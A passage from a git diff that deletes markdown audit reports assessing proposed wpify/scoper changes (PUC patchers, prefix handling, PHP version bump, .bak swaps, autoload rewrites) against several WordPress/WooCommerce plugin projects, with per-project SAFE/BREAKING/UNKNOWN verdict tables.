$pucVersionedClass, '5.7'); -``` - -The two only line up **because** the patcher fires. Remove or neutralise it and -`getCompatibleClassVersion('Plugin\UpdateChecker')` returns `null`, which reaches -`PucFactory.php:88–90`: - -```php -if ($checkerClass === null) { - trigger_error(esc_html(sprintf('PUC %s does not support updates for %ss %s', ...)), \E_USER_ERROR); -} -``` - -`E_USER_ERROR` is fatal. `Updates::init_udates_check()` runs on every `init` -(`Updates.php:16–20`), so this would be a **white screen on every request** for wpify-woo-feeds and -wpify-woo-gopay, not a degraded update check. - -Corroborating that the URL takes the fatal branch and not the VCS branch: the metadata URL is -`https://wpify.io/?update_action=...`, so `getVcsService()` returns empty and control goes to the -`empty($service)` branch at `PucFactory.php:81` — the one the patcher rewrites. - -**Already broken today, worth recording:** the *other* branch, `PucFactory.php:84` -`$checkerClass = 'Vcs\\' . $type . 'UpdateChecker';`, is **not** patched, so it can never match the -registered key `'WpifyWooFeedsDeps\Vcs\PluginUpdateChecker'`. GitHub/GitLab/BitBucket-hosted update -checking is dead in every scoped build in this cluster. Nothing here uses it, so it is latent. - -**Verdict H14/H15:** -- H15 (drop the built-in `Puc_v4p11_*` list): **SAFE** for feeds and gopay, **not applicable** for - paczkomaty and wpify-woo. Requires removing `plugin-update-checker` from two `globals` arrays. -- H14 (regenerate for v5 / rework the patchers): **BREAKING for feeds and gopay unless the - `$checkerClass = $type` patcher at `config/scoper.inc.php:75–77` is preserved or replaced by an - equivalent that keeps `PucFactory::$classVersions` keys and the lookup string in agreement.** - Any v5 rework must be validated by actually building feeds or gopay and confirming - `PucFactory::buildUpdateChecker()` returns a `Plugin\UpdateChecker` instance rather than tripping - `E_USER_ERROR`. -- The dead v4-only patcher at `config/scoper.inc.php:48` - (`Puc/v4p11/UpdateChecker.php` → inject `use WP_Error;`) targets a path that does not exist in a v5 - tree; removing it is **SAFE** for all four. - ---- - -## 5. `tmp/wpify-woo/scoper.custom.php` (H18) — currently APPLIED, and load-bearing - -Full contents: - -```php -function customize_php_scoper_config( array $config ): array { - $config['patchers'][] = function( string $filePath, string $prefix, string $content ): string { - if ( strpos( $filePath, 'wpify/core' ) !== false ) { - $content = str_replace( $prefix . '\\\\array_merge', 'array_merge', $content ); - $content = str_replace( $prefix . '\\\\wpml_object_id_filter', 'wpml_object_id_filter', $content ); - $content = str_replace( $prefix . '\\\\WP_Post', 'WP_Post', $content ); - } - $content = str_replace( "'{$prefix}\\ICL_LANGUAGE_CODE'", "'ICL_LANGUAGE_CODE'", $content ); - $content = str_replace( "{$prefix}\\ICL_LANGUAGE_CODE", "ICL_LANGUAGE_CODE", $content ); - return $content; - }; - return $config; -} -``` - -**Is it applied?** Yes. `src/Plugin.php:204` calls `createPath( array('scoper.custom.php'), true )`, and -`createPath` (`:268–276`) returns `getcwd() . '/scoper.custom.php'` only when -`strpos( dirname(__DIR__), 'vendor/wpify/scoper' )` is an int. The global install lives at -`/Users/wpify/.composer/vendor/wpify/scoper`, so `dirname(__DIR__)` is -`/Users/wpify/.composer/vendor/wpify/scoper` — which **contains** the literal substring. Verified by -executing the exact expression: `strpos(...)` → `int(23)` → CWD branch taken. The same holds in CI: -`tmp/wpify-woo/.gitlab-ci.yml:36` does `composer global require wpify/scoper`, and the -`composer:2.8.2` image sets `COMPOSER_HOME=/tmp`, giving `/tmp/vendor/wpify/scoper` — also a match. - -So **H18 does not bite this cluster**: the custom file is found today via the global-install path, and an -H18 fix that always resolves against the project root leaves behaviour identical. **SAFE** — but the fix -must not *narrow* discovery, because wpify-woo genuinely needs the file. - -**Why it is load-bearing.** The `ICL_LANGUAGE_CODE` half is live and necessary. `ICL_LANGUAGE_CODE` is in -none of the symbol lists (checked `wordpress.php` and `woocommerce.php`: no hit in any key), so -php-scoper prefixes it. In **wpify-woo-feeds**, which has *no* `scoper.custom.php`, the damage is visible: - -`vendor/wpify-woo-feeds/wpify/woo-core/src/Abstracts/AbstractModule.php:28,155,179` and -`.../src/Admin/Settings.php:359` -```php -if (is_admin() && defined('WpifyWooFeedsDeps\ICL_LANGUAGE_CODE') && ...) { -``` -WPML defines the *global* `ICL_LANGUAGE_CODE`, so `defined('WpifyWooFeedsDeps\ICL_LANGUAGE_CODE')` is -permanently false and the whole WPML per-language-settings branch is dead in feeds. wpify-woo's custom -file is precisely what prevents that for wpify-woo — it depends on the same `wpify/woo-core ^5`. - -**Latent defect in the custom file itself (not caused by any proposal):** the first block tests -`strpos($filePath, 'wpify/core')`. The dependency is `wpify/woo-core` (composer-deps.json), installed at -`vendor/wpify/woo-core/…`, which does **not** contain `wpify/core`. The `array_merge`, -`wpml_object_id_filter` and `WP_Post` fixes therefore never fire. Worth reporting to the wpify-woo owner -independently of this audit; it is not a reason to block any proposal. - ---- - -## 6. Mining the built tree for live H1 / H2 corruption - -Only `wpify-woo-feeds` has a built scoped tree, so this section is empirical for feeds and inferential -for the other three. - -### H2 — `autoload_static.php` rewrite: no live corruption in this cluster - -`vendor/wpify-woo-feeds/composer/autoload_static.php` contains exactly **three** occurrences of the -lowercased prefix, all in the `$files` array where they belong (lines 10–12): - -``` -'wpifywoofeedsdepscdf08174348db7aba2f2aa1537fac4b1' => __DIR__ . '/..' . '/wpify/custom-fields/custom-fields.php', -'wpifywoofeedsdepsbc0af1337b39f0d750e835f5263eb646' => __DIR__ . '/..' . '/yahnis-elsts/plugin-update-checker/load-v5p7.php', -'wpifywoofeedsdepsb33e3d135e5d9e47d845c576147bda89' => __DIR__ . '/..' . '/php-di/php-di/src/functions.php', -``` - -Zero classmap keys were touched. The reason is specific and worth recording, because it means feeds is -lucky rather than safe by construction: - -- Every class in `autoload_classmap.php` is namespaced, so every key contains `\\` and fails the - regex's `[[:alnum:]]+` key pattern. I grepped for classmap keys without a backslash: **none**. -- The only alnum-only key in the file is `'W'` in `$prefixLengthsPsr4` (line 16), whose value is - `array (` on the *following* line — the regex requires the value on the same line and terminated by - `,`, and `(` is outside its value character class, so it does not match. -- Action Scheduler's global classes (`ActionScheduler_*`) all contain `_`, which POSIX `[[:alnum:]]` - excludes; the single underscore-free name `ActionScheduler` is not in the composer classmap at all - (Action Scheduler ships its own loader). - -**Verdict H2: SAFE for all four** — narrowing the rewrite to the `$files` block is behaviour-preserving -here. The risk the audit describes is real but does not currently fire against these dependency sets. -It *would* fire the moment any of these projects added a dependency exposing an underscore-free global -class through the composer classmap. - -### H1 — anchored prefix-stripping: SAFE, and the analysis is worth keeping - -I scanned the whole built tree for root-level references (`\Name` not preceded by an identifier -character, plus `use Name` at statement start) whose name is a **strict extension** of one of the 1,190 -excluded classes / 455 excluded namespaces — i.e. exactly the symbols the current unanchored -`str_replace` at `config/scoper.inc.php:87–103` de-prefixes by accident and that anchoring would start -prefixing again. The complete result set is six names: - -| residue | matched excluded symbol | why it is harmless | -|---|---|---| -| `MONTH_IN_SECONDS` | `MO` (class) | independently in `exclude-constants` — php-scoper already leaves it global; the patcher is redundant here | -| `WP_CONTENT_DIR` | `WP` (class) | same — in `exclude-constants` | -| `WP_MAX_MEMORY_LIMIT` | `WP` | same | -| `WP_PLUGIN_DIR` | `WP` | same | -| `WP_CLI` | `WP` | **not** in the loaded lists (only in `symbols/wp-cli.php`, and `wp-cli` is not in anyone's `globals`) — see below | -| `WP_CLI_Command` | `WP` | same | - -The four constants are unaffected by anchoring: they are excluded on their own merit, so the patcher -never had to fire for them. - -`WP_CLI` / `WP_CLI_Command` are the only two symbols anchoring would actually change — and the code -that uses them is **already dead**, because the `defined()` guards were prefixed and can never be true: - -``` -classes/abstracts/ActionScheduler.php:231 if (\defined('WpifyWooFeedsDeps\WP_CLI') && \WP_CLI) { -classes/WP_CLI/ActionScheduler_WPCLI_QueueRunner.php:42 if (!(\defined('WpifyWooFeedsDeps\WP_CLI') && \WP_CLI)) { -classes/abstracts/ActionScheduler_WPCLI_Command.php:32 if (!\defined('WpifyWooFeedsDeps\WP_CLI') || !\constant('WP_CLI')) { -classes/migration/Controller.php:146, classes/migration/Runner.php:83, classes/WP_CLI/Migration_Command.php:33, classes/WP_CLI/ProgressBar.php:60 — same pattern -``` - -The two unguarded `\WP_CLI::warning()` call sites -(`classes/ActionScheduler_DataController.php:140,143`) live in `free_memory()`, reachable only via -`add_action('action_scheduler/progress_tick', …)` at `:186` gated on `self::$free_ticks`, which is set -only by `set_free_ticks()` — called exclusively from -`classes/WP_CLI/ActionScheduler_WPCLI_Scheduler_command.php:87` and -`classes/WP_CLI/Migration_Command.php:55`, both behind the dead guard. So anchoring cannot produce a -runtime fatal here. - -I also checked the *other three* projects statically, since they have no build to scan. Their scoped -dependency sets add `GuzzleHttp`, `Psr`, `Endroid`, `BaconQrCode`, `DASPRiD`, `DragonBe`, `h4kuna`, -`Nette`, `Rikudou`, `Hubipe`, `Heureka`, `GoPay`, `Spatie`, `Laravel`, `DI`, `Invoker`, `PhpDocReader`, -`Wpify`, `YahnisElsts`, `PHPStan`, `Symfony`, `Composer`, `ActionScheduler` as root namespaces. None is -a strict extension of any excluded class or namespace name. (Only the first segment after the prefix can -match, since the patcher searches `\\`.) - -**Verdict H1: SAFE for all four.** All four scope `woocommerce/action-scheduler` (3.9.3 / 3.9.3 / 3.9.2 / -3.9.3), none has `wp-cli` in `globals`, and the affected code paths are inert. -Optional follow-up, not a blocker: adding `wp-cli` to `globals` would fix Action Scheduler's WP-CLI -integration properly, which is currently disabled by the prefixed `defined('…\WP_CLI')` guards. - ---- - -## 7. Remaining checklist items - -### C4 — bump `require.php` from `^8.1` to `^8.2` - -The distinction matters here: `config.platform.php: 8.1` in all four constrains **scoped dependency -resolution**, not the PHP the tool runs on. Because wpify/scoper is installed **globally** in all four, -the projects' `platform` settings do not participate in resolving wpify/scoper at all. - -- Local dev environment: `php -v` → **8.4.20**. Satisfies `^8.2`. -- `tmp/wpify-woo` CI: `.gitlab-ci.yml:18` `image: composer:2.8.2`. Inspected the local image — - `PHP_VERSION=8.3.13`, `COMPOSER_HOME=/tmp`. Satisfies `^8.2`. The job's - `composer global require wpify/scoper --with-all-dependencies` (:36) resolves against the image's PHP - 8.3, not against the project's `platform: 8.1`. -- feeds / gopay / paczkomaty CI: delegate entirely to - `wpify/gitlab-ci-templates :: /pipelines/wpify-plugin.yml`, which is not checked out locally - (`/Users/wpify/projects/gitlab-ci-templates` does not exist). **UNKNOWN** — the image's PHP version - must be confirmed in that repo before shipping C4. - -**One concrete NEEDS-MIGRATION trap.** `wpify-woo-paczkomaty/composer.json:25` contains -`"composer require --dev wpify/scoper:^2.2"` inside `post-create-project-cmd` — i.e. the scaffold for -new projects installs wpify/scoper **locally**, under `config.platform.php: 8.1` (:12). Today that works -(v2 requires `php ^7.4|^8.0`). After C4, any project that installs wpify/scoper locally while pinning -`config.platform.php` to `8.1` gets a hard resolver failure — and because the constraint is transitive -through `wpify/php-scoper`, the error message will name the wrong package (exactly the symptom C4 is -meant to cure). Migration: raise `config.platform.php` to `≥ 8.2` in any project that moves to a local -install. No action needed while all four install globally. - -**Verdict C4:** SAFE for wpify-woo (verified PHP 8.3.13) and for local dev (8.4.20); -**UNKNOWN** for feeds/gopay/paczkomaty CI pending the shared template; -**NEEDS-MIGRATION** for paczkomaty's `post-create-project-cmd` path (composer.json:25 + :12). - -### C5 — fail fast on missing/invalid prefix - -All four declare a prefix, and all four are legal single-segment PHP namespaces: -`WpifyWooFeedsDeps`, `WpifyWooGopayDeps`, `WpifyWooPaczkomatyDeps`, `WpifyWooDeps`. -Nothing in this cluster relies on the silent no-op at `src/Plugin.php:127` — there is no sub-package -without a prefix that is expected to skip. **SAFE for all four.** - -### C1 + M4 — nested Composer as a subprocess, exit-code propagation, re-entrancy guard, `--no-plugins` - -I checked every locked scoped package's `type` across all four `composer-deps.lock` files. The only -non-`library` types are `woocommerce/action-scheduler` (`wordpress-plugin`, in all four) and -`dragonbe/vies` (`tool`, wpify-woo only). **No `composer-plugin` package, no `composer/installers`, no -`*-installer`, no `cweagans/composer-patches`, no `dealerdirect/phpcodesniffer-composer-installer` -appears in any `composer-deps.json` or its lock.** - -`composer/installers` is absent even though Action Scheduler declares `type: wordpress-plugin` — which -is why it installs to the default `vendor/woocommerce/action-scheduler` (confirmed in the built feeds -tree). Nothing depends on installer-driven paths. `--no-plugins` on the nested install is therefore -**SAFE for all four**. - -Note for completeness: `wpify-woo-paczkomaty/composer.json:9` allows -`dealerdirect/phpcodesniffer-composer-installer`, and it *is* in that project's root `composer.lock` -dev packages — but that is the **root** install, not the nested one. The nested install only ever sees a -copy of `composer-deps.json` (`src/Plugin.php:131,175`), so `--no-plugins` there cannot touch it. - -Re-entrancy: none of the four copies `extra.wpify-scoper` into its `composer-deps.json` (checked all -four — no `extra` key at all), so the recursion hazard M4 describes is not armed in this cluster. - -CI depending on `composer install` exiting 0 despite scoping failure: `tmp/wpify-woo/.gitlab-ci.yml:37` -runs a bare `composer install …` with no `|| true` and no `allow_failure`, so propagating the nested -exit code makes previously-silent failures visible — a **behaviour change in the right direction**, but -it means a scoping failure that CI currently ignores would start red-lighting the pipeline. Flagging it -so it is not mistaken for a regression. Same caveat presumably applies to the other three via the shared -template (UNKNOWN). - -**Verdict C1+M4:** SAFE for all four, with the noted (intended) CI-visibility change. - -### H7 — make `--no-dev` reachable - -**No `require-dev` in any of the four `composer-deps.json`**, and `packages-dev` is `[]` (length 0) in all -four `composer-deps.lock` files. Nothing dev is currently scoped or shipped, so nothing disappears when -`--no-dev` starts working. - -Worth recording: `tmp/wpify-woo/.gitlab-ci.yml:37` already passes `--no-dev` to the **outer** install. -That does not propagate — `execute()` sets `$useDevDependencies = true` for `POST_INSTALL_CMD` -(`src/Plugin.php:191–195`), which is exactly the H7 defect. Because there are no dev deps to drop, the -observable output is identical either way. - -**Verdict H7: SAFE for all four** (no-op). - -### H16 — full-AST symbol extraction, regenerated symbol lists - -The question is whether a newly-excluded WP/Woo symbol collides with a **root-namespace** symbol defined -by a scoped dependency. I enumerated every class/interface/trait/enum, function and constant declared in -the feeds build inside a file whose namespace is exactly the prefix (i.e. originally global): -74 classes, 37 "functions", 33 constants. - -- The 74 classes are all `ActionScheduler*` — already in `exclude-classes` via `woocommerce.php` - (spot-checked `ActionScheduler`, `ActionScheduler_Store`, `ActionScheduler_Logger`, - `ActionScheduler_DateTime`: all IN-LIST). Adding more WP symbols cannot newly collide with them. -- Of the 37 "functions", the 17 real global ones (`as_*`, `wc_*_scheduled_action*`) are **already** in - `exclude-functions` (verified individually — all 17 IN-LIST). The remaining 20 - (`parse`, `text`, `indent`, `encodeit`, `decodeit`, `code_trick`, `user_sanitize`, `chop_string`, - `filter_text`, `sanitize_text`, `parse_readme`, `parse_readme_contents`, `setBreaksEnabled`, …) are - **class methods**, not global functions — they are members of `PucReadmeParser` and `Parsedown` in - `yahnis-elsts/plugin-update-checker/vendor/PucReadmeParser.php` (confirmed by reading the file: they - sit inside `class PucReadmeParser`). Method names are not in php-scoper's symbol namespace, so - additions to `exclude-functions` cannot touch them. -- `wpify_custom_fields` is the one genuinely global project-side function; no WordPress or WooCommerce - symbol will ever carry that name. -- The 33 "constants" are all class constants (`STATUS_PENDING`, `GROUPS_TABLE`, `DAY`, `HOUR`, …), none - in `exclude-constants` today. Class constants are likewise outside php-scoper's global-constant - handling. - -**Verdict H16: SAFE for all four**, with an honest limitation — I validated against the *described* -delta (~18 function-body symbols, ~97 top-level consts, ~46 `class_alias` targets), not against the -actual regenerated files, which do not exist yet. The structural conclusion holds regardless: apart from -Action Scheduler (already fully excluded), these dependency sets declare essentially nothing in the root -namespace for a larger WP/Woo symbol list to collide with. - -### M3 — stop writing generated `scripts` into the user's `composer-deps.json` - -Reading `src/Plugin.php` closely: line 175 `createJson( $composerJsonPath, $composerJson )` writes to -`$source/composer.json` — inside the throwaway temp tree (`:131`), which `postinstall.php` deletes at the -end. The user's own `composer-deps.json` is only written at `:141`, and only when it does not exist yet. -So the current version does **not** clobber a committed `composer-deps.json` on every run. - -Confirmed empirically: `composer-deps.json` is committed in all four (`git ls-files` matches), and -`git status --porcelain composer-deps.json composer-deps.lock` is **clean in all four** — including -feeds, whose scoped tree was rebuilt after the last commit (build 20:20, file untouched). - -Two things still worth naming: - -- `wpify-woo-paczkomaty/composer-deps.json:10` contains `"scripts": {},` — a residue of the - `src/Plugin.php:137–141` bootstrap (or of an older plugin version that did write back). Harmless. -- **`tmp/wpify-woo/composer-deps.json:8–24` contains a hand-written `scripts.pre-autoload-dump` block** - with 15 `rm -rf vendor//{test,docs,examples}` entries used to slim the shipped payload. The - current code path preserves it: `$composerJson` is decoded from the user's file (`:135`) and the - generated entry is **added** as `$composerJson->scripts->{post-install-cmd}` (`:169`), leaving - `pre-autoload-dump` intact in the temp copy where the nested Composer will run it. Any M3 rework must - keep merging rather than replacing `scripts` — dropping this block would silently re-inflate the - wordpress.org release of wpify-woo by shipping every dependency's test and docs directories. - -**Verdict M3:** SAFE for feeds, gopay, paczkomaty (no hand-written scripts, no churn). -**NEEDS-MIGRATION for tmp/wpify-woo** — not because M3 breaks it as specified, but because the -implementation must preserve user-authored `scripts` keys; wpify-woo is the project that would notice. - -### M15 — validate `globals` entries - -Available symbol files: `action-scheduler.php`, `plugin-update-checker.php`, `woocommerce.php`, -`wordpress.php`, `wp-cli.php`. Every `globals` entry across all four resolves: -`wordpress`, `woocommerce`, `plugin-update-checker` (feeds, gopay), `wordpress`, `woocommerce` -(paczkomaty, wpify-woo). No typos, no unknown names. **SAFE for all four.** - -Interaction to sequence: if H15 lands (delete `symbols/plugin-update-checker.php`) *before or with* -M15 (reject unknown `globals`), then feeds and gopay start **failing validation** on a name that was -valid the day before. Those two `globals` arrays must be edited in the same release, or M15 must warn -rather than fail for this one name during a deprecation window. - ---- - -## Verdict table - -Legend: SAFE / NEEDS-MIGRATION / BREAKING / UNKNOWN / n-a = not applicable. - -| Item | wpify-woo-feeds | wpify-woo-gopay | wpify-woo-paczkomaty | tmp/wpify-woo | -|---|---|---|---|---| -| **C4** php `^8.1`→`^8.2` | UNKNOWN (CI template not local; dev PHP 8.4.20 ok) | UNKNOWN (same) | **NEEDS-MIGRATION** (composer.json:25 installs scoper locally under `platform.php 8.1` :12) | SAFE (composer:2.8.2 = PHP 8.3.13) | -| **C5** fail fast on missing prefix | SAFE | SAFE | SAFE | SAFE | -| **C3** atomic swap via `.bak` sibling | **NEEDS-MIGRATION** (`.bak` lands in `vendor/`, gitignored, never pruned) | **NEEDS-MIGRATION** (same) | SAFE (`deps` is top-level) | **NEEDS-MIGRATION** (`.rsyncinclude:6 + /vendor/***` ships it to wordpress.org; CI artifacts :29–30) | -| **C2** `is_link()` guard | SAFE (0 symlinks in built tree) | SAFE | SAFE | SAFE | -| **C1+M4** subprocess / exit code / `--no-plugins` | SAFE | SAFE | SAFE | SAFE (CI will newly red-light on scoping failure — intended) | -| **H1** anchored prefix-stripping | SAFE (only `WP_CLI`/`WP_CLI_Command`, in dead code) | SAFE | SAFE | SAFE | -| **H2** narrow `autoload_static` rewrite | SAFE (verified: 3 hits, all in `$files`) | SAFE (inferred) | SAFE (inferred) | SAFE (inferred) | -| **H7** `--no-dev` reachable | SAFE (no require-dev) | SAFE | SAFE | SAFE | -| **H14** regenerate PUC for v5 | **BREAKING** unless `scoper.inc.php:75–77` patcher preserved | **BREAKING** (same) | n-a (no PUC) | n-a (no PUC) | -| **H15** drop built-in PUC list | SAFE (list is dead; remove from `globals`) | SAFE (same) | n-a | n-a | -| **H16** regenerated symbol lists | SAFE | SAFE | SAFE | SAFE | -| **H18** `scoper.custom.php` discovery | n-a (no custom file) | n-a | n-a | SAFE — already applied today via global-install path; fix must not narrow discovery | -| **M3** stop writing `scripts` | SAFE | SAFE | SAFE | **NEEDS-MIGRATION** (hand-written `pre-autoload-dump`, composer-deps.json:8–24, must survive) | -| **M15** validate `globals` | SAFE (sequence with H15) | SAFE (sequence with H15) | SAFE | SAFE | diff --git a/docs/improvements/consumers/E-legacy-php-group.md b/docs/improvements/consumers/E-legacy-php-group.md deleted file mode 100644 index fc66cd0..0000000 --- a/docs/improvements/consumers/E-legacy-php-group.md +++ /dev/null @@ -1,513 +0,0 @@ -# Consumer impact — cluster E ("legacy PHP" group) - -Read-only verification of the proposed `wpify/scoper` changes against five real -consumer projects. No file in any consumer project was modified; all evidence is -`file:line` from the checkouts as they stand on 2026-07-27. - -| Project | Prefix | `folder` | `globals` | root `require.php` | `config.platform.php` | scoper install | -|---|---|---|---|---|---|---| -| `heureka-scope-review` | `HeurekaDeps` | `vendor/heureka` | `wordpress`, `woocommerce` | `>=8.1.0` | `8.1` | global | -| `rosettapress` | `RosettaPressDeps` | `vendor/rosettapress-deps` | *(default)* | `>=8.1` | `8.1.27` | global | -| `epicwash-dev` | `EpicwashDeps` | `vendor/epicwash` | *(default)* | `^8.3` | `8.3` | global | -| `edu.constructiocrm` | `ConstructioEduDeps` | `web/app/deps` | *(default)* | `>=8.3` | `8.3` | **local `require-dev` `^3.2`** + global | -| `environmentalbadge` | `EnvironmentalBadgeDeps` | `web/app/deps` | *(default)* | `>=8.3` | *(none)* | global | - -Reference points used throughout: - -* Global install: `/Users/wpify/.composer/vendor/wpify/scoper` @ **3.2.21** (= commit - `b00d523`), with `wpify/php-scoper` **0.18.18**. -* Dev host PHP: **8.4.20** (`php -v`). - ---- - -## 0. Is `heureka-scope-review` a product or a test bed? - -**It is an active client product.** The directory name is a local checkout label only. - -* `git -C heureka-scope-review remote -v` → `git@gitlab.wpify.io:client-projects/heureka.git` -* Last commit `6323efe` "update deps, release", **2026-07-08**. -* It ships to **wordpress.org**: `heureka-scope-review/.gitlab-ci/deploy-wporg.yml:20` - (`wporg_plugin_deploy ... vendor/ ...`), plus `assets-wporg/` and `readme.txt`. - -Weight it as a **production consumer with a public release channel**. This raises the -stakes on C3 specifically (see §3): a leftover `.bak` inside `vendor/` would be -published to the wordpress.org SVN trunk. - ---- - -## 1. C4 — bump `require.php` from `^8.1` to `^8.2` - -### The two constraints, kept apart - -`config.platform.php` in `composer.json` / `composer-deps.json` constrains **resolution -of the scoped dependency graph**. It does not constrain the PHP that executes the -plugin. Proof, per project: - -* `heureka-scope-review/composer.lock` and `rosettapress/composer.lock` contain **no - `wpify/scoper` entry at all** — it is not a project dependency in either, so their - `platform-overrides` (`{"php": "8.1"}` / `{"php": "8.1.27"}`) are irrelevant to it. - Same for `epicwash-dev` and `environmentalbadge`. -* The only project where `wpify/scoper` participates in resolution is - `edu.constructiocrm` (`composer.json:57`, `require-dev` → `"wpify/scoper": "^3.2"`), - and its `config.platform.php` is **`8.3`** (`composer.json:71`). - -### The premise in the audit card needs one correction - -The C4 card says consumers on 8.1 "cannot install today either". That is not quite -right, and it matters for judging the bump. `wpify/scoper` requires -`wpify/php-scoper: ^0.18` (`composer.json:34`), and not every 0.18.x forbids 8.1: - -``` -0.18.4 -> "php": "^8.1" -0.18.7 -> "php": "^8.1" -0.18.9 -> "php": "^8.2" <- and every release after -... -0.18.19 -> "php": "^8.2" -``` - -(verified from tags in the local `/Users/wpify/projects/php-scoper` clone). A PHP-8.1 -host today therefore **does** install `wpify/scoper`, pinned back to php-scoper 0.18.7. -So the bump is a genuine tightening, not a no-op — which is exactly why the per-project -runtime check below had to be done rather than waved away. - -### What PHP actually runs the tool, per project - -| Project | Local dev | CI | Verdict | -|---|---|---|---| -| `heureka-scope-review` | no DDEV, no `.tool-versions`/`.php-version` → host PHP **8.4.20** | `.gitlab-ci/generate-zip.yml:8` `extends: .composer_install` from private `wpify/gitlab-ci-templates` — **image not readable** (clone denied: `Permission denied (publickey)`) | **SAFE** | -| `rosettapress` | `.ddev/config.yaml:4` `php_version: "8.3"` | `.gitlab-ci.yml:5` includes private `pipelines/wpify-plugin.yml` — **image not readable** | **SAFE** | -| `epicwash-dev` | no DDEV → host PHP **8.4.20** | `.gitlab-ci.yml:7` **`image: composer:2.8.2`**, `.gitlab-ci.yml:12` `composer global require wpify/scoper` | **SAFE** | -| `edu.constructiocrm` | `.ddev/config.yaml:4` `php_version: "8.4"` | no CI config in the repo | **SAFE** | -| `environmentalbadge` | `.ddev/config.yaml:3` `php_version: "8.3"` (`.ddev/config.local.yaml` sets only `name`/`project_tld`/hostnames — no PHP override) | `.gitlab-ci.yml:29` **`image: composer:2.8.2`**, `.gitlab-ci.yml:35` `composer global require wpify/scoper` | **SAFE** | - -On the two unreadable templates: the house convention on this machine is unambiguous — -14 sibling `.gitlab-ci.yml` files pin `image: composer:2.8.2` and 4 pin `image: composer:2` -(`alfamarka`, `dluhopisy`, `mawis`, `delife`, `sdcentral`, `marieolivie`, `stavbadesign`, -`feed.szn`, `sales-booster-kit`, `ckait`, `constructiocrm`, `helpdesk`, `tmp/wpify-woo`, -`environmentalbadge`, `epicwash-dev`, …). Both tags are PHP ≥ 8.3. I mark the template -image itself **UNKNOWN-but-strongly-inferred** and say so rather than asserting it. - -There is also a decisive independent argument for `heureka`/`rosettapress` that does not -depend on the template: both projects' current scoped output was produced by a -`wpify/scoper` install whose php-scoper is 0.18.x. If either environment were on PHP 8.1 -it would be frozen on php-scoper **0.18.7** — a release from before the current symbol -lists — and `rosettapress`'s scoped tree (rebuilt 2026-07-21) is demonstrably current. - -### Verdict - -> **The `php: ^8.2` bump breaks nobody in this cluster.** Every environment that -> executes `wpify/scoper` here is on PHP 8.3 or 8.4. The three projects pinning -> `config.platform.php` to 8.1.x are pinning their *scoped dependency graph*, not their -> toolchain, and two of the three do not even have `wpify/scoper` in their lock file. - -One follow-on note, not a blocker: `heureka` and `rosettapress` still resolve their -*scoped* deps against platform 8.1, and `rosettapress/vendor/rosettapress-deps/composer/platform_check.php:7` -emits `PHP_VERSION_ID >= 80100`. That is their own choice and is untouched by C4. - ---- - -## 2. C5 — fail fast on a missing/invalid `extra.wpify-scoper.prefix` - -All five prefixes are present and are legal PHP namespace identifiers: -`HeurekaDeps` (`composer.json:36`), `RosettaPressDeps` (`composer.json:39`), -`EpicwashDeps` (`composer.json:37`), `ConstructioEduDeps` (`composer.json:88`), -`EnvironmentalBadgeDeps` (`composer.json:117`). - -Nothing in the cluster relies on the silent no-op **as a configured project**. But there -is a design constraint that this cluster proves, and it is the most important C5 finding: - -> **`wpify/scoper` is installed *globally* in 4 of 5 projects** — so it activates on -> **every** `composer install`/`update` the developer or CI runs, in **any** repository -> on that machine, whether or not that repository has anything to do with scoping. - -Evidence: `~/.composer/composer.json` requires `wpify/scoper: ^3.2` with -`allow-plugins.wpify/scoper: true`; CI reproduces this with -`composer global config --no-plugins allow-plugins.wpify/scoper true` + -`composer global require wpify/scoper` (`epicwash-dev/.gitlab-ci.yml:11-12`, -`environmentalbadge/.gitlab-ci.yml:34-35`). - -A naïve "no prefix → throw" would therefore break `composer install` in every unrelated -project on the machine, including `wpify/scoper`'s own repo. The gate must be -**"`extra.wpify-scoper` is present but `prefix` is missing/empty/invalid"**, never -"`prefix` is absent". Scanning these five trees for sub-packages that could trip a naïve -check turned up `epicwash-dev/libs/Nayax/composer.json` and -`epicwash-dev/libs/EmailKampane/composer.json` (generated OpenAPI SDKs, no `name`, no -prefix) — neither has a `vendor/`, so nobody runs Composer in them today; the risk is -latent, not live. - -**Verdict: SAFE** for all five as configured, **conditional on the check being scoped to -the presence of the `wpify-scoper` key**. Implemented as an unconditional requirement it -is **BREAKING** for every project on a machine with the global install. - ---- - -## 3. C3 — atomic swap via a `.bak` sibling - -`folder` is inside the project root in all five, and `temp` defaults to -`getcwd() . '/tmp-XXXXXXXXXX'` (`Plugin.php:58`) — **same filesystem in every case**, -including the DDEV projects, where the whole project root is one bind mount. No `EXDEV` -risk anywhere in this cluster. - -Does a later `composer install` disturb a `.bak` in `vendor/`? **No.** Composer does not -prune directories it does not manage, and this cluster proves it: the scoped directories -themselves already live in `vendor/` and survive every install — -`rosettapress/vendor/composer/installed.json` lists 11 packages, **none** matching -`rosettapress-deps`; `epicwash-dev`'s lists 17, **none** matching `epicwash`. - -Per-project, for a leftover `.bak` (only possible if the run dies mid-swap): - -| Project | `.bak` path | gitignored? | CI artifact / deploy exposure | -|---|---|---|---| -| `heureka-scope-review` | `vendor/heureka.bak` | **yes** — `.gitignore:8` `/vendor/` | `.gitlab-ci/generate-zip.yml:12` artifacts `$CI_PROJECT_DIR/vendor`, and `plugin_archive ... vendor/` (line 30) → **would be published to wordpress.org** | -| `rosettapress` | `vendor/rosettapress-deps.bak` | **yes** — `.gitignore:5` `/vendor` | ZIP built from private template; `vendor/` is shipped → would be bundled | -| `epicwash-dev` | `vendor/epicwash.bak` | **yes** — `.gitignore:2` `vendor` | `.gitlab-ci.yml:10` artifacts `$CI_PROJECT_DIR/vendor`; `.gitlab-ci.yml:39` `cp -r assets build libs src vendor epicwash.php export/epicwash/` → bundled into `epicwash.zip`. The lftp mirror (`.gitlab-ci.yml:66-82`) excludes `deps/` but **not** `vendor/*.bak` → uploaded to FTP | -| `edu.constructiocrm` | `web/app/deps.bak` | **NO** — `.gitignore:13` is `web/app/deps/*`, which ignores the *contents of* `deps/`, not a sibling `deps.bak` | no CI | -| `environmentalbadge` | `web/app/deps.bak` | **NO** — `.gitignore:16` `web/app/deps/*`, same gap | `.gitlab-ci.yml:24` artifacts `$CI_PROJECT_DIR/web/app/deps` (the dir, not the sibling); `server_deploy ... web/app/deps/ ...` (`.gitlab-ci.yml:57`) → **not** deployed | - -Why C3 matters most in this cluster — the deletion window is not "a plugin fails to -load", it is "the site is down", because four of five `require` the scoped autoloader -unguarded and one does it from `wp-config.php`: - -* `environmentalbadge/web/wp-config.php:10` — `require_once .../web/app/deps/scoper-autoload.php`, **before WordPress boots**. A missing `deps/` is a fatal on every request, front end and admin. -* `edu.constructiocrm/bootstrap.php:12` — same pattern, loaded from 